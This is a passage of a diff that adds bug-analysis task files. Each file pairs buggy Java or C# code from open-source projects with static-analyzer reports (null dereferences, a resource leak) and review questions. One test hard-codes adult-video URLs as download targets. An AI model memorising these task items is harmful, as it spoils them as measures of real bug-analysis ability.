+				daylight.setTimezoneOffsetTo(-4, 0);
+
+				usEasternTz.addDaylightSavingsTime(daylight);
+			}
+			{
+				StandardTime standard = new StandardTime();
+				standard.setDateStart(localFormatter.parse("2000-10-26T02:00:00")).setLocalTime(true);
+
+				RecurrenceRule rrule = new RecurrenceRule(Frequency.YEARLY);
+				rrule.addByDay(1, DayOfWeek.SUNDAY);
+				rrule.addByMonth(10);
+				standard.setRecurrenceRule(rrule);
+
+				standard.addTimezoneName("EST");
+				standard.setTimezoneOffsetFrom(-4, 0);
+				standard.setTimezoneOffsetTo(-5, 0);
+
+				usEasternTz.addStandardTime(standard);
+			}
+			ical.addTimezone(usEasternTz);
+		}
+		{
+			VEvent event = new VEvent();
+			event.setDateTimeStamp(utcFormatter.parse("2006-02-06T00:11:21"));
+			event.setDateStart(usEasternFormatter.parse("2006-01-02T12:00:00")).setTimezone(usEasternTz);
+			event.setDuration(new Duration.Builder().hours(1).build());
+
+			RecurrenceRule rrule = new RecurrenceRule(Frequency.DAILY);
+			rrule.setCount(5);
+			event.setRecurrenceRule(rrule);
+
+			RecurrenceDates rdate = new RecurrenceDates(Arrays.asList(new Period(usEasternFormatter.parse("2006-01-02T15:00:00"), new Duration.Builder().hours(2).build())));
+			rdate.setTimezone(usEasternTz);
+			event.addRecurrenceDates(rdate);
+
+			event.setSummary("Event#2");
+			event.setDescription("Wearehavingameetingallthisweekat12pmforonehour,withanadditionalmeetingonthefirstday2hourslong.\nPleasebringyourownlunchforthe12pmmeetings.");
+			event.setUid("00959BC664CA650E933C892C@example.com");
+			ical.addEvent(event);
+		}
+		{
+			VEvent event = new VEvent();
+			event.setDateTimeStamp(utcFormatter.parse("2006-02-06T00:11:21"));
+			event.setDateStart(usEasternFormatter.parse("2006-01-02T14:00:00")).setTimezone(usEasternTz);
+			event.setDuration(new Duration.Builder().hours(1).build());
+
+			event.setRecurrenceId(usEasternFormatter.parse("2006-01-04T12:00:00")).setTimezone(usEasternTz);
+
+			event.setSummary("Event#2");
+			event.setUid("00959BC664CA650E933C892C@example.com");
+			ical.addEvent(event);
+		}
+
+		assertWarnings(0, ical.validate());
+		assertExample(ical, "jcal-draft-example2.json");
+	}
+
+	private void assertExample(ICalendar ical, String exampleFileName) throws IOException {
+		StringWriter sw = new StringWriter();
+		JCalWriter writer = new JCalWriter(sw);
+		writer.write(ical);
+		writer.close();
+
+		String expected = new String(IOUtils.toByteArray(getClass().getResourceAsStream(exampleFileName)));
+		expected = expected.replaceAll("\\s", "");
+
+		String actual = sw.toString();
+
+		assertEquals(expected, actual);
+	}
+
+	private class TestProperty extends ICalProperty {
+		private String value;
+
+		public TestProperty(String value) {
+			this.value = value;
+		}
+
+		public String getValue() {
+			return value;
+		}
+	}
+
+	private class TestPropertyMarshaller extends ICalPropertyMarshaller<TestProperty> {
+		public TestPropertyMarshaller() {
+			super(TestProperty.class, "X-TEST");
+		}
+
+		@Override
+		protected String _writeText(TestProperty property) {
+			return property.getValue();
+		}
+
+		@Override
+		protected TestProperty _parseText(String value, ICalParameters parameters, List<String> warnings) {
+			return new TestProperty(value);
+		}
+
+		@Override
+		protected JCalValue _writeJson(TestProperty property) {
+			return JCalValue.single(Value.TEXT, _writeText(property));
+		}
+	}
+
+	private class SkipMeMarshaller extends ICalPropertyMarshaller<TestProperty> {
+		public SkipMeMarshaller() {
+			super(TestProperty.class, "NAME");
+		}
+
+		@Override
+		protected String _writeText(TestProperty property) {
+			throw new SkipMeException("Skipped");
+		}
+
+		@Override
+		protected TestProperty _parseText(String value, ICalParameters parameters, List<String> warnings) {
+			return new TestProperty(value);
+		}
+	}
+
+	private class MyVersionMarshaller extends ICalPropertyMarshaller<Version> {
+		public MyVersionMarshaller() {
+			super(Version.class, "VERSION");
+		}
+
+		@Override
+		protected String _writeText(Version property) {
+			return property.getMaxVersion() + " (beta)";
+		}
+
+		@Override
+		protected Version _parseText(String value, ICalParameters parameters, List<String> warnings) {
+			return new Version(value);
+		}
+
+		@Override
+		protected JCalValue _writeJson(Version property) {
+			return JCalValue.single(Value.TEXT, _writeText(property));
+		}
+	}
+
+	private class PartyMarshaller extends ICalComponentMarshaller<Party> {
+		public PartyMarshaller() {
+			super(Party.class, "X-VPARTY");
+		}
+
+		@Override
+		protected Party _newInstance() {
+			return new Party();
+		}
+	}
+
+	private class Party extends ICalComponent {
+		//empty
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `daylight.setDateStart(JCalWriterTest.localFormatter.parse("2000-04-04T02:00:00"))` could be null and is dereferenced at line 508.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JCalWriterTest.jcal_draft_example2()
+
+### Procedure Id:
+biweekly.io.json.JCalWriterTest.jcal_draft_example2():void.d4016dc62963b58b7e5d3b3bca09c216
+
+### File:
+src/test/java/biweekly/io/json/JCalWriterTest.java
+
+### Key:
+JCalWriterTest.java|jcal_draft_example2|NULL_DEREFERENCE
+
+### Node Key:
+ec50d19a3f6c9c85fe366f22b170b71d
+
+### Hash:
+f0403cbcf39ad661942fcf61c9c03c09
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10689/instruction.md b/inferredbugs-10689/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9e97b6a2622229eb1b935b7d11087450e6dde725
--- /dev/null
+++ b/inferredbugs-10689/instruction.md
@@ -0,0 +1,226 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** biweekly
+**Bug ID:** 24
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package biweekly.property.marshaller;
+
+import static biweekly.util.TestUtils.assertWarnings;
+import static biweekly.util.TestUtils.xcalProperty;
+import static biweekly.util.TestUtils.xcalPropertyElement;
+import static org.custommonkey.xmlunit.XMLAssert.assertXMLEqual;
+import static org.junit.Assert.assertEquals;
+
+import org.junit.Test;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+
+import biweekly.parameter.ICalParameters;
+import biweekly.property.RequestStatus;
+import biweekly.property.marshaller.ICalPropertyMarshaller.Result;
+import biweekly.util.XmlUtils;
+
+/*
+ Copyright (c) 2013, Michael Angstadt
+ All rights reserved.
+
+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions are met: 
+
+ 1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer. 
+ 2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution. 
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/**
+ * @author Michael Angstadt
+ */
+public class RequestStatusMarshallerTest {
+	private final RequestStatusMarshaller marshaller = new RequestStatusMarshaller();
+
+	@Test
+	public void writeText() {
+		RequestStatus prop = new RequestStatus(null);
+		String actual = marshaller.writeText(prop);
+		String expected = "";
+		assertEquals(expected, actual);
+
+		prop = new RequestStatus("1.2.3");
+		actual = marshaller.writeText(prop);
+		expected = "1.2.3";
+		assertEquals(expected, actual);
+
+		prop = new RequestStatus("1.2.3");
+		prop.setDescription("description;here");
+		actual = marshaller.writeText(prop);
+		expected = "1.2.3;description\\;here";
+		assertEquals(expected, actual);
+
+		prop = new RequestStatus("1.2.3");
+		prop.setDescription("description;here");
+		prop.setExceptionText("data;here");
+		actual = marshaller.writeText(prop);
+		expected = "1.2.3;description\\;here;data\\;here";
+		assertEquals(expected, actual);
+
+		prop = new RequestStatus("1.2.3");
+		prop.setDescription(null);
+		prop.setExceptionText("data;here");
+		actual = marshaller.writeText(prop);
+		expected = "1.2.3;;data\\;here";
+		assertEquals(expected, actual);
+
+		prop = new RequestStatus(null);
+		prop.setDescription("description;here");
+		prop.setExceptionText("data;here");
+		actual = marshaller.writeText(prop);
+		expected = ";description\\;here;data\\;here";
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void parseText() {
+		ICalParameters params = new ICalParameters();
+
+		String value = "1.2.3;description\\;here;data\\;here";
+		Result<RequestStatus> result = marshaller.parseText(value, params);
+		RequestStatus prop = result.getValue();
+		assertEquals("1.2.3", prop.getStatusCode());
+		assertEquals("description;here", prop.getDescription());
+		assertEquals("data;here", prop.getExceptionText());
+		assertWarnings(0, result.getWarnings());
+
+		value = "1.2.3;description\\;here";
+		result = marshaller.parseText(value, params);
+		prop = result.getValue();
+		assertEquals("1.2.3", prop.getStatusCode());
+		assertEquals("description;here", prop.getDescription());
+		assertEquals(null, prop.getExceptionText());
+		assertWarnings(0, result.getWarnings());
+
+		value = "1.2.3";
+		result = marshaller.parseText(value, params);
+		prop = result.getValue();
+		assertEquals("1.2.3", prop.getStatusCode());
+		assertEquals(null, prop.getDescription());
+		assertEquals(null, prop.getExceptionText());
+		assertWarnings(0, result.getWarnings());
+
+		value = "";
+		result = marshaller.parseText(value, params);
+		prop = result.getValue();
+		assertEquals("", prop.getStatusCode());
+		assertEquals(null, prop.getDescription());
+		assertEquals(null, prop.getExceptionText());
+		assertWarnings(0, result.getWarnings());
+	}
+
+	@Test
+	public void writeXml() {
+		RequestStatus prop = new RequestStatus("1.2.3");
+		prop.setDescription("description");
+		prop.setExceptionText("data");
+
+		Document actual = xcalProperty(marshaller);
+		marshaller.writeXml(prop, XmlUtils.getRootElement(actual));
+
+		Document expected = xcalProperty(marshaller, "<code>1.2.3</code><description>description</description><data>data</data>");
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void parseXml() {
+		ICalParameters params = new ICalParameters();
+
+		Element element = xcalPropertyElement(marshaller, "<code>1.2.3</code><description>description</description><data>data</data>");
+		Result<RequestStatus> result = marshaller.parseXml(element, params);
+
+		RequestStatus prop = result.getValue();
+		assertEquals("1.2.3", prop.getStatusCode());
+		assertEquals("description", prop.getDescription());
+		assertEquals("data", prop.getExceptionText());
+		assertWarnings(0, result.getWarnings());
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `element` last assigned on line 143 could be null and is dereferenced by call to `parseXml(...)` at line 144.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RequestStatusMarshallerTest.parseXml()
+
+### Procedure Id:
+biweekly.property.marshaller.RequestStatusMarshallerTest.parseXml():void.5cb3c1fe3bfcc5faa8db8825ab76ac3f
+
+### File:
+src/test/java/biweekly/property/marshaller/RequestStatusMarshallerTest.java
+
+### Key:
+RequestStatusMarshallerTest.java|parseXml|NULL_DEREFERENCE
+
+### Node Key:
+700bacf046ac2fcd95fa1405262a06a6
+
+### Hash:
+20490969bfb16afe43ac2e219bad08a1
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10707/instruction.md b/inferredbugs-10707/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e923f2e7511404c780490f2b9d10c22ff0c29526
--- /dev/null
+++ b/inferredbugs-10707/instruction.md
@@ -0,0 +1,106 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ripme
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.rarchives.ripme.tst.ripper.rippers;
+
+import java.io.IOException;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.List;
+
+import com.rarchives.ripme.ripper.rippers.video.XvideosRipper;
+
+public class VideoRippersTest extends RippersTest {
+    
+    public void testXvideosRipper() throws IOException {
+        if (false && !DOWNLOAD_CONTENT) {
+            return;
+        }
+        List<URL> contentURLs = new ArrayList<URL>();
+        contentURLs.add(new URL("http://www.xvideos.com/video1428195/stephanie_first_time_anal"));
+        contentURLs.add(new URL("http://www.xvideos.com/video7136868/vid-20140205-wa0011"));
+        for (URL url : contentURLs) {
+            try {
+                XvideosRipper ripper = new XvideosRipper(url);
+                ripper.rip();
+                assert(ripper.getWorkingDir().listFiles().length > 1);
+                deleteDir(ripper.getWorkingDir());
+            } catch (Exception e) {
+                e.printStackTrace();
+                fail("Error while ripping URL " + url + ": " + e.getMessage());
+            }
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `ripper.getWorkingDir()` could be null and is dereferenced at line 23.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void VideoRippersTest.testXvideosRipper()
+
+### Procedure Id:
+com.rarchives.ripme.tst.ripper.rippers.VideoRippersTest.testXvideosRipper():void.2280ea8bcfe9ed1f27da4ed609b00870
+
+### File:
+src/test/java/com/rarchives/ripme/tst/ripper/rippers/VideoRippersTest.java
+
+### Key:
+VideoRippersTest.java|testXvideosRipper|NULL_DEREFERENCE
+
+### Node Key:
+00c1f65e387d55c612515ace03b6e05b
+
+### Hash:
+4fbc8f74b93766425a66bd08b71b4355
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1073/instruction.md b/inferredbugs-1073/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..106adbdea139ecec96743a8f9c5798fd7509da3a
--- /dev/null
+++ b/inferredbugs-1073/instruction.md
@@ -0,0 +1,373 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Nancy
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+namespace Nancy.Tests.Unit
+{
+    using System;
+    using System.Collections.Generic;
+    using System.IO;
+    using System.Linq;
+    using System.Net;
+    using FakeItEasy;
+    using Nancy.Extensions;
+    using Nancy.Routing;
+    using Nancy.Tests.Fakes;
+    using Xunit;
+    using Xunit.Extensions;
+
+    public class NancyEngineFixture
+    {
+        private readonly INancyEngine engine;
+        private readonly IRouteResolver resolver;
+        private readonly INancyModuleLocator locator;
+        private readonly IEnumerable<NancyModule> modules;
+
+        public NancyEngineFixture()
+        {
+            this.modules = new[] { new FakeNancyModuleWithBasePath() };
+            this.locator = A.Fake<INancyModuleLocator>();
+            this.resolver = A.Fake<IRouteResolver>();
+            this.engine = new NancyEngine(this.locator, this.resolver);
+        }
+
+        [Fact]
+        public void Should_throw_argumentnullexception_when_created_with_null_locator()
+        {
+            // Given, When
+            var exception =
+                Record.Exception(() => new NancyEngine(null, A.Fake<IRouteResolver>()));
+
+            // Then
+            exception.ShouldBeOfType<ArgumentNullException>();
+        }
+
+        [Fact]
+        public void Should_throw_argumentnullexception_when_created_with_null_resolver()
+        {
+            // Given, When
+            var exception =
+                Record.Exception(() => new NancyEngine(A.Fake<INancyModuleLocator>(), null));
+
+            // Then
+            exception.ShouldBeOfType<ArgumentNullException>();
+        }
+
+        [Fact]
+        public void Should_retrieve_modules_from_locator_when_handling_request()
+        {
+            // Given
+            var request = new Request("GET", "/", new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+
+            // When
+            this.engine.HandleRequest(request);
+
+            // Then
+            A.CallTo(() => this.locator.GetModules()).MustHaveHappened();
+        }
+
+        [Fact]
+        public void Should_return_not_found_response_when_no_nancy_modules_could_be_found()
+        {
+            // Given
+            var request = new Request("GET", "/", new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+
+            A.CallTo(() => this.locator.GetModules()).Returns(Enumerable.Empty<NancyModule>());
+
+            // When
+            var response = this.engine.HandleRequest(request);
+
+            // Then
+            response.StatusCode.ShouldEqual(HttpStatusCode.NotFound);
+        }
+
+        [Fact]
+        public void Should_pass_all_registered_route_handlers_for_get_request_to_route_resolver()
+        {
+            // Given
+            var request = new Request("GET", "/", new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+            var descriptions = GetRouteDescriptions(request, this.modules);
+
+            A.CallTo(() => this.locator.GetModules()).Returns(modules);
+
+            // When
+            this.engine.HandleRequest(request);
+
+            // Then
+            A.CallTo(() => this.resolver.GetRoute(A<Request>.Ignored.Argument, 
+                A<IEnumerable<RouteDescription>>.That.Matches(x => x.SequenceEqual(descriptions)).Argument)).MustHaveHappened();
+        }
+
+        [Theory]
+        [InlineData("get")]
+        [InlineData("GeT")]
+        [InlineData("PoSt")]
+        [InlineData("post")]
+        [InlineData("puT")]
+        [InlineData("PUT")]
+        [InlineData("DelETe")]
+        [InlineData("DELete")]
+        public void Should_ignore_case_of_request_verb_when_resolving_route_handlers(string verb)
+        {
+            // Given
+            var request = new Request(verb, "/", new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+            
+            A.CallTo(() => this.locator.GetModules()).Returns(this.modules);
+
+            // When
+            this.engine.HandleRequest(request);
+
+            // Then
+            A.CallTo(() => this.resolver.GetRoute(A<Request>.Ignored.Argument, 
+                A<IEnumerable<RouteDescription>>.Ignored.Argument)).MustHaveHappened();
+        }
+
+        [Fact]
+        public void Should_pass_all_registered_route_handlers_for_delete_request_to_route_resolver()
+        {
+            // Given
+            var request = new Request("DELETE", "/", new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+            var descriptions = GetRouteDescriptions(request, this.modules);
+
+            A.CallTo(() => this.locator.GetModules()).Returns(this.modules);
+
+            // When
+            this.engine.HandleRequest(request);
+
+            // Then
+            A.CallTo(() => this.resolver.GetRoute(A<Request>.Ignored.Argument, A<IEnumerable<RouteDescription>>.That.Matches(x => x.SequenceEqual(descriptions)).Argument)).MustHaveHappened();
+        }
+
+        [Fact]
+        public void Should_call_route_resolver_with_all_route_handlers()
+        {
+            // Given
+            var request = new Request("PUT", "/", new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+            var descriptions = GetRouteDescriptions(request, this.modules);
+
+            A.CallTo(() => this.locator.GetModules()).Returns(this.modules);
+            A.CallTo(() => this.resolver.GetRoute(request, descriptions)).Returns(null);
+
+            // When
+            this.engine.HandleRequest(request);
+
+            // Then
+            A.CallTo(() => this.resolver.GetRoute(A<Request>.Ignored.Argument, A<IEnumerable<RouteDescription>>.That.Matches(x => x.SequenceEqual(descriptions)).Argument)).MustHaveHappened();
+        }
+
+        [Fact]
+        public void Should_call_route_resolver_with_request()
+        {
+            // Given
+            var request = new Request("GET", "/", new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+
+            A.CallTo(() => this.locator.GetModules()).Returns(this.modules);
+
+            // When
+            this.engine.HandleRequest(request);
+
+            // Then
+            A.CallTo(() => this.resolver.GetRoute(request, 
+                A<IEnumerable<RouteDescription>>.Ignored.Argument)).MustHaveHappened();
+        }
+
+        [Fact]
+        public void Should_return_not_found_response_when_no_route_could_be_matched_for_the_request_verb()
+        {
+            // Given
+            var request = new Request("NOTVALID", "/", new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+
+            A.CallTo(() => this.locator.GetModules()).Returns(this.modules);
+
+            // When
+            var response = this.engine.HandleRequest(request);
+
+            // Then
+            response.StatusCode.ShouldEqual(HttpStatusCode.NotFound);
+        }
+
+        [Fact]
+        public void Should_throw_argumentnullexception_when_handling_null_request()
+        {
+            // Given, When
+            var exception =
+                Record.Exception(() => this.engine.HandleRequest(null));
+
+            // Then
+            exception.ShouldBeOfType<ArgumentNullException>();
+        }
+
+        [Fact]
+        public void Should_invoke_resolved_route()
+        {
+            // Given
+            var route = A.Fake<IRoute>();
+            var request = new Request("GET", "/", new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+            var descriptions = GetRouteDescriptions(request, this.modules);
+
+            A.CallTo(() => this.locator.GetModules()).Returns(this.modules);
+            A.CallTo(() => this.resolver.GetRoute(request, A<IEnumerable<RouteDescription>>.That.Matches(x => x.SequenceEqual(descriptions)).Argument)).Returns(route);
+
+            // When
+            this.engine.HandleRequest(request);
+
+            // Then
+            A.CallTo(() => route.Invoke()).MustHaveHappened();
+        }
+
+        [Fact]
+        public void Should_return_response_generated_by_route()
+        {
+            // Given
+            var expectedResponse = new Response();
+            var route = A.Fake<IRoute>();
+            var request = new Request("GET", "/", new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+            var descriptions = GetRouteDescriptions(request, this.modules);
+
+            A.CallTo(() => route.Invoke()).Returns(expectedResponse);
+            A.CallTo(() => this.locator.GetModules()).Returns(this.modules);
+            A.CallTo(() => this.resolver.GetRoute(request, A<IEnumerable<RouteDescription>>.That.Matches(x => x.SequenceEqual(descriptions)).Argument)).Returns(route);
+
+            // When
+            var response = this.engine.HandleRequest(request);
+
+            // Then
+            response.ShouldBeSameAs(expectedResponse);
+        }
+
+        [Fact]
+        public void Should_set_base_route_on_descriptions_that_are_passed_to_resolver()
+        {
+            // Given
+            var request = new Request("POST", "/", new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+
+            var r = new FakeRouteResolver();
+            var e = new NancyEngine(this.locator, r);
+
+            A.CallTo(() => this.locator.GetModules()).Returns(this.modules);
+
+            // When
+            e.HandleRequest(request);
+
+            // Then
+            r.ModulePath.ShouldEqual("/fake");
+        }
+
+        [Fact]
+        public void Should_set_path_on_descriptions_that_are_passed_to_resolver()
+        {
+            // Given
+            var request = new Request("POST", "/", new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+
+            var r = new FakeRouteResolver();
+            var e = new NancyEngine(this.locator, r);
+
+            A.CallTo(() => this.locator.GetModules()).Returns(this.modules);
+
+            // When
+            e.HandleRequest(request);
+
+            // Then
+            r.Path.ShouldEqual("/");
+        }
+
+        [Fact]
+        public void Should_set_action_on_descriptions_that_are_passed_to_resolver()
+        {
+            // Given
+            var request = new Request("POST", "/", new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+
+            var r = new FakeRouteResolver();
+            var e = new NancyEngine(this.locator, r);
+
+            A.CallTo(() => this.locator.GetModules()).Returns(this.modules);
+
+            var expectedAction =
+                (new FakeNancyModuleWithBasePath()).Post["/"];
+            
+            // When
+            e.HandleRequest(request);
+
+            // Then
+            r.Action.ShouldBeSameAs(expectedAction);
+        }
+
+        [Fact]
+        public void Should_set_request_property_of_loaded_modules()
+        {
+            // Given
+            var request = new Request("GET", "/", new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+            A.CallTo(() => this.locator.GetModules()).Returns(this.modules);
+
+            // When
+            this.engine.HandleRequest(request);
+
+            // Then
+            this.modules.First().Request.ShouldNotBeNull();
+        }
+        
+        private static IEnumerable<RouteDescription> GetRouteDescriptions(IRequest request, IEnumerable<NancyModule> modules)
+        {
+            return modules.SelectMany(x => x.GetRouteDescription(request));
+        }
+
+        private static IRequest ManufactureGETRequest(string route)
+        {
+            return new Request("GET", route, new Dictionary<string, IEnumerable<string>>(), new MemoryStream());
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource return of type Nancy.Request, Leaked resource (output of System.IO.MemoryStream::.ctor() at Line 312) of type System.IO.MemoryStream in method "IRequest NancyEngineFixture.ManufactureGETRequest(String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+IRequest NancyEngineFixture.ManufactureGETRequest(String)
+
+### File:
+src/Nancy.Tests/Unit/NancyEngineFixture.cs
+
+### Key:
+NancyEngineFixture.cs|ManufactureGETRequest|DOTNET_RESOURCE_LEAK
+
+### Hash:
+c24895db8aa2e14d9c6737431e3615a7
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10738/instruction.md b/inferredbugs-10738/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7997b06215a26aeb7409bfc046306a7eddd2f849
--- /dev/null
+++ b/inferredbugs-10738/instruction.md
@@ -0,0 +1,180 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** devicehive-java-server
+**Bug ID:** 21
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.devicehive.resource.impl;
+
+import com.devicehive.auth.HiveAuthentication;
+import com.devicehive.auth.HivePrincipal;
+import com.devicehive.configuration.Messages;
+import com.devicehive.json.strategies.JsonPolicyDef;
+import com.devicehive.model.ErrorResponse;
+import com.devicehive.model.updates.NetworkUpdate;
+import com.devicehive.resource.NetworkResource;
+import com.devicehive.resource.converters.SortOrderQueryParamParser;
+import com.devicehive.resource.util.ResponseFactory;
+import com.devicehive.service.NetworkService;
+import com.devicehive.vo.NetworkVO;
+import com.devicehive.vo.NetworkWithUsersAndDevicesVO;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.security.core.context.SecurityContextHolder;
+import org.springframework.stereotype.Service;
+
+import javax.ws.rs.core.Response;
+import java.util.List;
+
+import static com.devicehive.configuration.Constants.ID;
+import static com.devicehive.configuration.Constants.NAME;
+import static javax.ws.rs.core.Response.Status.*;
+
+@Service
+public class NetworkResourceImpl implements NetworkResource {
+    private static final Logger logger = LoggerFactory.getLogger(NetworkResourceImpl.class);
+
+    @Autowired
+    private NetworkService networkService;
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public Response list(String name, String namePattern, String sortField, String sortOrderSt, Integer take, Integer skip) {
+
+        logger.debug("Network list requested");
+
+        boolean sortOrder = SortOrderQueryParamParser.parse(sortOrderSt);
+
+        if (sortField != null && !ID.equalsIgnoreCase(sortField) && !NAME.equalsIgnoreCase(sortField)) {
+            logger.error("Unable to proceed network list request. Invalid sortField");
+            return ResponseFactory.response(Response.Status.BAD_REQUEST,
+                    new ErrorResponse(Messages.INVALID_REQUEST_PARAMETERS));
+        } else if (sortField != null) {
+            sortField = sortField.toLowerCase();
+        }
+        HivePrincipal principal = (HivePrincipal) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
+        List<NetworkVO> result = networkService
+            .list(name, namePattern, sortField, sortOrder, take, skip, principal);
+
+        logger.debug("Network list request proceed successfully.");
+        return ResponseFactory.response(Response.Status.OK, result, JsonPolicyDef.Policy.NETWORKS_LISTED);
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public Response get(long id) {
+        logger.debug("Network get requested.");
+        NetworkWithUsersAndDevicesVO existing = networkService.getWithDevicesAndDeviceClasses(id, (HiveAuthentication) SecurityContextHolder.getContext().getAuthentication());
+        if (existing == null) {
+            logger.error("Network with id =  {} does not exists", id);
